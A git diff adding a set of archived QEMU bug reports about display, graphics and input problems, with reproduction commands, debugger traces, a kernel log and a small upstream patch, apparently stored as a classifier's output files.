https://bugzilla.libsdl.org/show_bug.cgi?id=3287 + +i see, but there are still problems with the user interfaces. + +did you use SDL1.2 or SDL2 here? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1618122 b/results/classifier/deepseek-1/output/graphic/1618122 new file mode 100644 index 00000000..03188dec --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1618122 @@ -0,0 +1,65 @@ + +qemu-monitor screendump very slow + +qemu-monitor screendump often using 10-20% cpu usage of one core to take a small capture. + +Most of the CPU usage seems to come from libpixman. There were many reports of libpixman becoming 8 times slower in newer releases. + +https://github.com/qemu/qemu/blob/0c56c6ab68902281094c7aac6305e2321c34c187/ui/console.c#L285 + + +Simple Valgrind Ir report. + +-------------------------------------------------------------------------------- + Ir +-------------------------------------------------------------------------------- +56,592,286,124 PROGRAM TOTALS + +-------------------------------------------------------------------------------- + Ir file:function +-------------------------------------------------------------------------------- +40,288,379,712 ???:0x000000000000caa0 [/usr/lib64/libpixman-1.so.0.34.0] + 3,585,795,168 ???:0x000000000006df20 [/usr/lib64/libpixman-1.so.0.34.0] + 1,763,982,432 ???:0x0000000000052360 [/usr/lib64/libpixman-1.so.0.34.0] + 1,517,832,033 ???:__memcpy_sse2_unaligned [/usr/lib64/libc-2.23.so] + 993,997,885 ???:__GI_mempcpy [/usr/lib64/libc-2.23.so] + 484,059,456 ???:0x0000000000050430 [/usr/lib64/libpixman-1.so.0.34.0] + 460,109,168 ???:pixman_image_composite32 [/usr/lib64/libpixman-1.so.0.34.0] + +I tried taking a look on how to fix this, but it seems pixmap is deeply enrooted inside the monitor. I wanted to try to simply take whats on the display and memcpy it into .ppm format manually creating the file header, but I cant figure out where the raw display buffer/image starts. + +For example this is DisplaySurface: + +struct DisplaySurface { + pixman_format_code_t format; + pixman_image_t *image; + uint8_t flags; +#ifdef CONFIG_OPENGL + GLenum glformat; + GLenum gltype; + GLuint texture; +#endif +}; + +Which as you can see already has the pixman_image_t. Maybe I should just work with that pixman_image_t? + +The most effective solution IMO seems to just memcpy from the display into a premade header for a .ppm or .bmp file assuming 24 or 32 bpp. No need for libpixman. + +Most of the CPU is coming from ppm_save(filename, surface, errp); + +graphic_hw_update(con) takes an insignificant amount. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1649040 b/results/classifier/deepseek-1/output/graphic/1649040 new file mode 100644 index 00000000..052d38c2 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1649040 @@ -0,0 +1,130 @@ + +Ubuntu 16.04.1 Grub Splash Doesn't Appear + +My Specs: + +Slackware 14.2 x86_64 > Host +QEMU 2.7.0 + +Ubuntu 16.04.1 > Guest + +Start options for Ubuntu: + +qemu-system-x86_64 -drive format=raw,file=ubuntu.img \ +-cpu host \ +--enable-kvm \ +-smp 2 \ +-m 4096 \ +-vga vmware \ +-soundhw ac97 \ +-usbdevice tablet \ +-rtc base=localtime \ +-usbdevice host:0781:5575 + + + +I've started Ubuntu around 6-8 times, and I have only see the Grub Boot Splash appear twice, so pretty much without fail it typically boots past the grub splash and automatically boots... + + +These are the /etc/default/grub settings; (I only changed these options GRUB_TIMEOUT=15 and GRUB_GFXMODE=1440x900) + + +# If you change this file, run 'update-grub' afterwards to update +# /boot/grub/grub.cfg. +# For full documentation of the options in this file, see: +# info -f grub -n 'Simple configuration' + +GRUB_DEFAULT=0 +GRUB_HIDDEN_TIMEOUT=0 +GRUB_HIDDEN_TIMEOUT_QUIET=true +GRUB_TIMEOUT=15 +GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian` +GRUB_CMDLINE_LINUX_DEFAULT="quiet splash" +GRUB_CMDLINE_LINUX="" + +# Uncomment to enable BadRAM filtering, modify to suit your needs +# This works with Linux (no patch required) and with any kernel that obtains +# the memory map information from GRUB (GNU Mach, kernel of FreeBSD ...) +#GRUB_BADRAM="0x01234567,0xfefefefe,0x89abcdef,0xefefefef" + +# Uncomment to disable graphical terminal (grub-pc only) +#GRUB_TERMINAL=console + +# The resolution used on graphical terminal +# note that you can use only modes which your graphic card supports via VBE +# you can see them in real GRUB with the command `vbeinfo' +GRUB_GFXMODE=1440x900 + +# Uncomment if you don't want GRUB to pass "root=UUID=xxx" parameter to Linux +#GRUB_DISABLE_LINUX_UUID=true + +# Uncomment to disable generation of recovery mode menu entries +#GRUB_DISABLE_RECOVERY="true" + +# Uncomment to get a beep at grub start +#GRUB_INIT_TUNE="480 440 1" + +Why are you using "-vga vmware" ? Can't you use "-vga std" instead? Also, now that QEMU 2.8 has been released, could you please test again with this latest version? Thanks! + +It's the same in 2.8.0 but I will test it again when I get some time for vmware. + +I used vmware because it offers better resolution. + +After posting this issue I have learned a little about virtio and for a few times I was able to boot it with -vag virtio and this was really nice. I was able to resize and qemu will fill the screen to fit. + +But now when I boot with -vga virtio it just sits there and won't start Ubuntu. + +These are the options I'm using; + +qemu-system-x86_64 -drive if=none,id=drive0,cache=none,aio=threads,format=raw,file=ubuntu.img,index=0 \ +-object iothread,id=iothread0 \ +-machine type=q35,accel=kvm,kernel_irqchip=on \ +-device virtio-blk-pci,drive=drive0,scsi=off,config-wce=off,iothread=iothread0 \ +-cpu host \ +--enable-kvm \ +-smp 2 \ +-m 4096 \ +-vga virtio \ +-soundhw ac97 \ +-usbdevice tablet \ +-rtc base=localtime + +I do not understand how QEMU boots options just fine for a few times, then another time you go back and try and nothing works... + +I switched to boot scsi and when I start it, the screen is just blank... + + + +qemu-system-x86_64 -drive if=none,id=hd,cache=none,aio=threads,format=raw,file=ubuntu.img,index=0 \ +-object iothread,id=iothread0 \ +-machine type=q35,accel=kvm,kernel_irqchip=on \ +-device virtio-scsi-pci,iothread=iothread0,id=scsi -device scsi-hd,drive=hd \ +-cpu host \ +--enable-kvm \ +-smp 2 \ +-m 4096 \ +-vga virtio \ +-soundhw hda \ +-usbdevice tablet \ +-rtc base=localtime + +Sometimes when I restart it, I'll get the grub menu and I boot it, then it just sits at the console login, for me to log in with a username and pass, it doesn't go to the DM. + +I get this message, not sure if it's related; + +intel_rapl no valid rapl domains found in package 0 + +-vga virtio is working, I finally figured out my image was corrupted, I realized you have to be careful shutting the guest down correctly, or you could corrupt the image/system... + +So now, back to the same issue, even using 2.8.0 and virtio the grub splash doesn't always appears. + +So this is random, one time I start the Guest, the boot splash appears, the next time I start the guest it doesn't... + +Grub boot splash doesn't appear consistent... + +It's the same with std too... + +Does this still happen with a newer version of Ubuntu and the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1649233 b/results/classifier/deepseek-1/output/graphic/1649233 new file mode 100644 index 00000000..05602f75 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1649233 @@ -0,0 +1,26 @@ + +scrolling does not work once mouse is grabbed + +The title pretty much told it all. It occurs in Windows 10 RS1 on qemu 2.7.0. Interestingly, I can scroll in the guest if the mouse is not grabbed. So using usb-tablet sort of works around it, but if I explicitly grab the mouse with Ctrl+Alt+G, scrolling will also stop working. + +The host is Arch Linux so the qemu build uses gtk(3) for GUI by default. I wanted to test with sdl but it seems sdl support in qemu is sort of broken that I can't even start the virtual machine properly with that. + +Full commands I used: + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw -device nec-usb-xhci -device usb-kbd -device usb-mouse + +qemu-system-x86_64 -enable-kvm -cpu host -smp cores=4 -m 4G -drive file=test.img,format=raw -device nec-usb-xhci -device usb-kbd -device usb-tablet + +Not sure if it is relevant, but there's a HID button device cannot get started in Windows 10 RS1. + +I am also having trouble with this bug. I have QEMU version 2.11.1 on kubuntu. I have the same symptoms as above, and would be willing to assist in troubleshooting. The mouse I am using has two side buttons for forward and back on web-browsing and a scroll wheel with scroll button. I am using QEMU/KVM through Virtual Machine Manager. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1665789 b/results/classifier/deepseek-1/output/graphic/1665789 new file mode 100644 index 00000000..5cf9a8c3 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1665789 @@ -0,0 +1,16 @@ + +More resolutions for vga displays + +Would it be possible to add more resolutions for vga displays (which I am accessing via vnc instead of spice)? In particular: + +- 1080 wide x 1920 high (rotate 1920 x 1080 screen) + +- 1920 wide x 1080 + 1980 high (1920 x 1080 screen on top of 1600 x 900 screen) + +I noticed that we have multiple tickets for more resolutions opened. Let's consolidate all in https://bugs.launchpad.net/qemu/+bug/1022023 and close this one here as duplicate. + + +This is an automated cleanup. This bug report got closed because it +is a duplicate. + + diff --git a/results/classifier/deepseek-1/output/graphic/1677247 b/results/classifier/deepseek-1/output/graphic/1677247 new file mode 100644 index 00000000..4605e2a6 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1677247 @@ -0,0 +1,22 @@ + +QEMU e500 kvm no video and kernel crashing in virtios modules + +Hi, +i been attached the log of my issue on Qoriq e5500 +when i start qemu-system-ppc64 -cpu e5500 -M ppce500 --enable-kvm -device virtio-gpu-pci --nodefaults -display gtk and so and so . i have crashes in virtio modules in the VM and continue traces on the host machine. +If is needed more for investigating ask freely . + +Note: i use my selfmade kernel this machine dont have a distro kenels and official kernels. + + +Ciao +Luigi + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1679126 b/results/classifier/deepseek-1/output/graphic/1679126 new file mode 100644 index 00000000..9c984389 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1679126 @@ -0,0 +1,92 @@ + +null pointer access on migration resume of systemrescuecd boot menu with qxl-vga + +With qemu-2.8.0 up to 2.9.0-rc2 and git master (6954cdc), when resuming from a migration state file created from a VM suspended while showing the System Rescue CD 4.9.2 boot menu and using the QXL VGA device, I get a null point access in pixman_image_get_data called from qemu_spice_create_update (spice-display.c:215). When I added assert(ssd->mirror != NULL) above that line, assert failed. I don't get the crash when using standard VGA or cirrus-vga. I am using gcc-4.9.3 on Gentoo x86_64 with Intel i7-4700HQ CPU and kernel: 4.9.15-gentoo. + +Here is the valgrind trace from the git version: +==2634== Thread 1: +==2634== Invalid read of size 4 +==3516== at 0x65F3050: pixman_image_get_data (in /usr/lib64/libpixman-1.so.0.34.0) +==3516== by 0x6F0CEB: qemu_spice_create_update (spice-display.c:215) +==3516== by 0x6F1CC7: qemu_spice_display_refresh (spice-display.c:502) +==3516== by 0x58CF77: display_refresh (qxl.c:1948) +==3516== by 0x6E8084: do_safe_dpy_refresh (console.c:1591) +==3516== by 0x6E80D5: dpy_refresh (console.c:1604) +==3516== by 0x6E4508: gui_update (console.c:201) +==3516== by 0x81898E: timerlist_run_timers (qemu-timer.c:536) +==3516== by 0x8189D6: qemu_clock_run_timers (qemu-timer.c:547) +==3516== by 0x818D98: qemu_clock_run_all_timers (qemu-timer.c:662) +==3516== by 0x81952A: main_loop_wait (main-loop.c:514) +==3516== by 0x4ADD29: main_loop (vl.c:1898) + +Minimal steps to reproduce: + +Compile (debug compile flags are just so valgrind works, the crash occurs with non-debug compile flags as well): +CFLAGS="-g -O0" CXXFLAGS="-g -O0" ./configure --target-list=i386-softmmu,x86_64-softmmu +./configure +make + +Start VM and leave it on the System Rescue CD graphical boot menu: +x86_64-softmmu/qemu-system-x86_64 -nodefaults -machine pc -drive file=systemrescuecd-x86-4.9.2.iso,if=none,id=cdrom-cd,readonly=on -device ide-cd,bus=ide.0,drive=cdrom-cd,bootindex=1 -device qxl-vga -monitor unix:monitor.sock,server,nowait -display gtk + +Suspend VM and save state: +socat - unix:monitor.sock + stop + migrate "exec:cat > vm.state" + quit + +Attempt to resume VM (but this crashes): +x86_64-softmmu/qemu-system-x86_64 -nodefaults -machine pc -drive file=systemrescuecd-x86-4.9.2.iso,if=none,id=cdrom-cd,readonly=on -device ide-cd,bus=ide.0,drive=cdrom-cd,bootindex=1 -device qxl-vga -monitor unix:monitor.sock,server,nowait -display gtk -incoming exec:"cat vm.state" + +Yep, I can repeat this here on qemu head; crash at: + +pixman_image_get_data (image=0x0) at pixman-image.c:845 +845 if (image->type == BITS) + +(gdb) p image +$1 = (pixman_image_t *) 0x0 + + +I think this is actually anything that's in text mode grub; I've had a RHEL5 and 6 VM do it as well. + +Thanks for reporting it. + + +Interesting, the culprit is: + +commit cd958edb1fae85d0c7d1e1acbff82d22724e8d64 +Author: Marc-André Lureau <email address hidden> +Date: Fri Aug 26 13:47:11 2016 +0400 + + console: skip same-size resize + + virtio-gpu does a set-scanout at each frame (it might be a driver + regression). qemu_console_resize() recreate a surface even if the size + didn't change, and this shows up in profiling reports because the + surface is cleared. With this patch, I get a +15-20% glmark2 + improvement. + + Signed-off-by: Marc-André Lureau <email address hidden> + Message-id: <email address hidden> + Signed-off-by: Gerd Hoffmann <email address hidden> + +diff --git a/ui/console.c b/ui/console.c +index 3940762851..394786b3c7 100644 +--- a/ui/console.c ++++ b/ui/console.c +@@ -2101,6 +2101,13 @@ void qemu_console_resize(QemuConsole *s, int width, int height) + DisplaySurface *surface; + + assert(s->console_type == GRAPHIC_CONSOLE); ++ ++ if (s->surface && ++ pixman_image_get_width(s->surface->image) == width && ++ pixman_image_get_height(s->surface->image) == height) { ++ return; ++ } + + +The fix has apparently been included here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=a703d3aef5991b72a5a45880e7491232b8032f09 +... and has been released with QEMU v2.9 already. + diff --git a/results/classifier/deepseek-1/output/graphic/1775011 b/results/classifier/deepseek-1/output/graphic/1775011 new file mode 100644 index 00000000..67e5b522 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1775011 @@ -0,0 +1,25 @@ + +-display gtk,gl=on crashes on Wayland + +steps to reproduce: + +1. run a Wayland compositor (I use sway, probably the same bug exists for other compositors) +2. execute qemu -display gtk,gl=on + +expected results: + +a GTK window is created that shows SeaBIOS failing to boot + +actual results: + +segmentation fault qemu-system-x86_64 -display gtk,gl=on + +additional information: + +qemu version 2.12.0 from Arch Linux + +looks like qemu is trying to take the Wayland display from GTK and initialize EGL but telling EGL it's a X11 display, which is not correct. setting GDK_BACKEND=x11 works around the issue. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + diff --git a/results/classifier/deepseek-1/output/graphic/1780815 b/results/classifier/deepseek-1/output/graphic/1780815 new file mode 100644 index 00000000..1cfc0953 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1780815 @@ -0,0 +1,14 @@ + +SDL Doesn't Rescale Image on Resolution Change + +Whilst in fullscreen mode, if the guest changes resolution for whatever reason, the screen doesn't update the scaling so you end up looking at only part of the screen, e.g. if the guest changes from 640x480 to 1024x768, the image will still be fullscreen, but what you're actually looking at will be the top-left most 640x480 segment of the screen stretched out. + +Manually going out of fullscreen mode and then back in fixes the scaling, but you have to do that every time the guest changes resolution. + +QEmu 2.12.0 using qemu-system-x86_64 with Arch Linux host. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1788701 b/results/classifier/deepseek-1/output/graphic/1788701 new file mode 100644 index 00000000..9e26290a --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1788701 @@ -0,0 +1,29 @@ + +"Zoom to fit" doesn't work with -display gtk -vga virtio + +qemu version: 2.12.1 + +When using -display gtk for all -vga options (std,qxl,vmware,cirrus) the option "Zoom To Fit" is unchecked and auto-resizing of the window works well; except for -vga virtio: here "Zoom To Fit" is checked and auto-resizing doesn't work. + +Proposal: disable "Zoom To Fit" as default for virtio as well + +virtio-vga will adapt the guest display to the window size (once the guest drivers are loaded). +Therefore it is not needed to auto-resize the window (to avoid display scaling). + +Well, then something isn't right here. + +"Zoom to Fit" disabled: qemu starts with a small window (1:1 scale) and resizes the window when the xserver/window manager starts (1:1 scale). This is the sane and wanted behavior. + +"Zoom to Fit" enabled: qemu starts with a small window and doesn't resizes the window when the xserver/window manager starts. The whole display is squeezed into the small window. The window simply ignores resolution changes of the guest. + +So either there is sth wrong with your statement: "Therefore it is not needed to auto-resize the window" or with my setup (my window manager is dwm, the linux guest uses modesetting as video driver). + + + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1800156 b/results/classifier/deepseek-1/output/graphic/1800156 new file mode 100644 index 00000000..4e21e81a --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1800156 @@ -0,0 +1,11 @@ + +windows 8.1 loose grab/leave window on windowed + +Hello, i am new to QEMU and i encounter that annoying issue (windowed) when i move the mouse a bit too much then it leave the window. + +Windows 8.1, Latest QEMU (Windows binaries). + +Does the mouse grabbing still does not work with the latest version of QEMU? Which binaries did you use? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1809684 b/results/classifier/deepseek-1/output/graphic/1809684 new file mode 100644 index 00000000..cedb8d6e --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1809684 @@ -0,0 +1,33 @@ + +amdgpu passthrough on POWER9 (ppc64el) not working + +When attempting to pass a Vega 56 GPU to a virtualized guest using QEMU 3.1 on ppc64el (POWER9), the guest is unable to initialize the GPU. Further digging reveals the driver attempting to allocate a large BAR, which then fails: + +[ 6.058544] [drm] PCI I/O BAR is not found. +<snip uninteresting bits> +[ 6.679193] amdgpu 0000:00:03.0: BAR 2: releasing [mem 0x210400000000-0x2104001fffff pref] +[ 6.679306] amdgpu 0000:00:03.0: BAR 0: releasing [mem 0x210200000000-0x2103ffffffff pref] +[ 6.679361] amdgpu 0000:00:03.0: BAR 0: no space for [mem size 0x200000000 pref] +[ 6.679403] amdgpu 0000:00:03.0: BAR 0: failed to assign [mem size 0x200000000 pref] +[ 6.679444] amdgpu 0000:00:03.0: BAR 2: assigned [mem 0x200080200000-0x2000803fffff pref] +[ 6.681420] amdgpu 0000:00:03.0: VRAM: 8176M 0x000000F400000000 - 0x000000F5FEFFFFFF (8176M used) +[ 6.681507] amdgpu 0000:00:03.0: GART: 512M 0x0000000000000000 - 0x000000001FFFFFFF +[ 6.681594] amdgpu 0000:00:03.0: AGP: 267419648M 0x000000F800000000 - 0x0000FFFFFFFFFFFF +[ 6.681653] [drm] Detected VRAM RAM=8176M, BAR=0M +[ 6.681688] [drm] RAM width 2048bits HBM +[ 6.681885] [TTM] Zone kernel: Available graphics memory: 4176288 kiB +[ 6.681978] [TTM] Zone dma32: Available graphics memory: 2097152 kiB +[ 6.682043] [TTM] Initializing pool allocator +[ 6.682159] [drm] amdgpu: 8176M of VRAM memory ready +[ 6.682249] [drm] amdgpu: 6117M of GTT memory ready. +[ 6.682387] [drm] GART: num cpu pages 8192, num gpu pages 131072 +[ 6.682466] amdgpu 0000:00:03.0: (-22) kernel bo map failed +[ 6.682539] [drm:amdgpu_device_init [amdgpu]] *ERROR* amdgpu_vram_scratch_init failed -22 +[ 6.682592] amdgpu 0000:00:03.0: amdgpu_device_ip_init failed +[ 6.682636] amdgpu 0000:00:03.0: Fatal error during GPU init + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1827005 b/results/classifier/deepseek-1/output/graphic/1827005 new file mode 100644 index 00000000..0119e0c4 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1827005 @@ -0,0 +1,34 @@ + +hvf: ubuntu iso boot menu issue + +With hvf acceleration on macOS, ubuntu server installation ISO boot language menu shows fractured images. + +To reproduce the issue: +./x86_64-softmmu/qemu-system-x86_64 -m 800 -accel hvf -cdrom ~/ubuntu-16.04.4-server-amd64.iso + +Control: +./x86_64-softmmu/qemu-system-x86_64 -m 800 -accel tcg -cdrom ~/ubuntu-16.04.4-server-amd64.iso + +Host: macOS Mojave 10.14.3 +Guest: Ubuntu Server 16.04.4 ISO +QEMU: version 3.1.94 (v4.0.0-rc4) + + + + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1829945 b/results/classifier/deepseek-1/output/graphic/1829945 new file mode 100644 index 00000000..4b1f4471 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1829945 @@ -0,0 +1,50 @@ + +SDL support missing from qemu-1:3.1+dfsg-2ubuntu3.1 + +qemu support is missing from qemu-1:3.1+dfsg-2ubuntu3.1 on Disco. This is dispite qemu --help saying its available. SDL support is needed to use Packer(https://www.packer.io/) in graphical mode. + +# qemu-system-x86_64 -cpu host -smp 2,sockets=2,cores=1,threads=1 -machine type=pc,accel=kvm -display sdl -cdrom ubuntu.iso +qemu-system-x86_64: Display 'sdl' is not available. + +# qemu-system-x86_64 --help | grep sdl +-display sdl[,frame=on|off][,alt_grab=on|off][,ctrl_grab=on|off] +-sdl shorthand for -display sdl + +Hi Lee, +TL;DR: there will be no sdl support anymore for newer qemu's. (make it) Use "-display gtk" instead. + +Details: +#1 SDL 1.2 vs SDL 2.0 vs working fine +1.2 was in main all the time and worked, but got unsupportable over time. +SDL2 was tried, but failed badly in quite some experiments for Debain and +Ubuntu. That led to the choice of both distributions to go with the more +modern GTK backend instead. +Ubuntu (at Bionic staying at SDL1.2): +- sdl2 is yet too unstable for the LTS Ubuntu release given the reports + we still see upstream and in Debian - furthermore sdl2 isn't in main yet, + so we revert related changes to stick with the proven for now: +Debian then followed for #839695, #886671, #879536, #879534, #879532, #879193, #894852 +That also matches upstream where GTK backend for graphics is the #1 thing. + +#2 Supportability +The reason everyone wanted to get off SDL was maintainability as I mentioned. And as of today you'll find that none of the SDL libs is in main anymore (since Cosmic). +*sdl* is universe nowadays. +And we can't make a good case for it (to MIR it) as GTK solves it - at least from the qemu POV. + +#3 About the man page, this isn't patched for features enabled/disabled by the upstream build system. For example it also contains "pvrdma" which is disabled for security reasons (and many other things). + +I must conclude that as-is I won't enable sdl, but then why does it insist on `-display sdl` in the first place. `-display gtk` is just as good or better. Is that our package of packer.io that we'd want to adapt or a PR for upstream maybe? + +Also misfiled against upstream's Qemu - this clearly was meant for Ubuntu's Qemu as technically upstream is still fine enabling sdl (if the package builder wants to). + +Changing the bug tasks ... + +Ha, Thomas beat me to re-target the bug while I was checking my inbox - thanks :-) + +Thanks for the explanation. MAAS is starting to use Packer to create custom images so we may be packaging this soon. I will filed an upstream bug[1] and created a patch[2] to fix the issue. + +[1] https://github.com/hashicorp/packer/issues/7675 +[2] https://github.com/hashicorp/packer/pull/7676 + +Thanks, I subscribed there and already participate in the discussion + diff --git a/results/classifier/deepseek-1/output/graphic/1835732 b/results/classifier/deepseek-1/output/graphic/1835732 new file mode 100644 index 00000000..dc0266d0 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1835732 @@ -0,0 +1,24 @@ + +GTK display zoom in, zooms infinitely + +The zoom in feature in the "View" menu of the gtk frontend (launch qemu with -display gtk), seems to be very broken. + +If I hit the zoom in feature, it first zooms in. + +Then, it zooms in again. + +Every subsequent second that passes, it zooms in again, until it eventually eats up too much host resources and freezes the host desktop. + +I have seen this with 3.1.0 (Debian 1:3.1+dfsg-8~deb10u1), and also with a locally built 4.0, My colleague also confirms having seen the issue with 3.1.0 (Debian 1:3.1+dfsg-8). + +This seems to work for me + +Can you confirm: + a) Guest OS and version + b) Guest desktop environment + c) Host OS version + d) Host desktop env + e) The full command line you used for qemu. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1835793 b/results/classifier/deepseek-1/output/graphic/1835793 new file mode 100644 index 00000000..ce440d09 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1835793 @@ -0,0 +1,22 @@ + +Running an edk2 based bios + +This is not necessarily a bug, however I wasn't sure were to get help. + +I am currently working on using QEMU to run a BIOS my company has developed. In order to see if the software was working correctly, I was able to successfully run the edk2 bios using the following command: + +qemu-system-x86_64.exe -bios "C:\Users\matthew.intriago\Desktop\ovmf.fd" -net none + +However, when running the same command using our personalized bios, QEMU launches stating that “guest has not initialized display”. Theoretically, QEMU should be able to run the bios since it is edk2 based, the only difference between the two is that our bios has more features. + +If anyone has any insight on what the issue might be I would greatly appreciate any help. + +"Guest has not initialized display" simply means that the guest code you're running has not done anything to the display device (VGA in this case). There are two main reasons for this: + + (1) the guest code isn't intended to output to the display -- perhaps it sends its output to the serial port instead. In this case the fix is to use the right QEMU arguments to send the serial port output somewhere you can read it (or to reconfigure the guest code to output where you want it to). + + (2) the guest code is intended to output to the display, but it crashed before it got as far as doing that. In this case, the fix is to debug your guest code. QEMU's gdbstub is usually a good tool to use here. If you control the guest code (ie you can modify and recompile it) you can also add extra debugging to it (like making it output more information earlier, or output debugging trace information to the serial port so you can see how far it has got). + +My guess would be that this is a variation on 2 caused by your BIOS being compiled to assume different hardware from what QEMU is providing -- if the BIOS tries to write to a device that isn't present it will likely crash or go into an infinite loop. + + diff --git a/results/classifier/deepseek-1/output/graphic/1858623 b/results/classifier/deepseek-1/output/graphic/1858623 new file mode 100644 index 00000000..388e7cd5 --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1858623 @@ -0,0 +1,31 @@ + +VNC outputs garbage in zlib mode + +TL;DR: When QEMU is launched with VNC as the output and viewed with a client that defaults to zlib VNC encoding, the resulting output tends to accumulate artifacts. + +Reproduction: +Launch QEMU (tried with versions 4.2.0 and 4.1.0 on Linux 64bit) with -vnc 0.0.0.0:0 +Connect to it with a VNC client that allows you to select encoding, i.e. UltraVNC. +Set encoding to zlib (type 6), 32bit color. +As screen content changes it starts accumulating artifacts. Almost certain to appear if you open-close windows over a pattern. +Does not seem to depend on guest used, but easier to reproduce with a GUI. + +Looks like this: https://orbides.org/img/vnc.png + +It appears to be a deflate glitch of some sort - all of the bad pixels are generated by length/distance codes. Can't narrow it down any more. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1859723 b/results/classifier/deepseek-1/output/graphic/1859723 new file mode 100644 index 00000000..8ea5d29a --- /dev/null +++ b/results/classifier/deepseek-1/output/graphic/1859723 @@ -0,0 +1,24 @@ + +Qemu ungrabs before cursor reaches border + +This was first reported https://bugzilla.redhat.com/show_bug.cgi?id=1285378 + +video: https://peertube.co.uk/videos/watch/fedaa432-79ef-4d30-bd0e-26c806e48db0 + +version: QEMU emulator version 4.2.0 + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/graphic/1864984 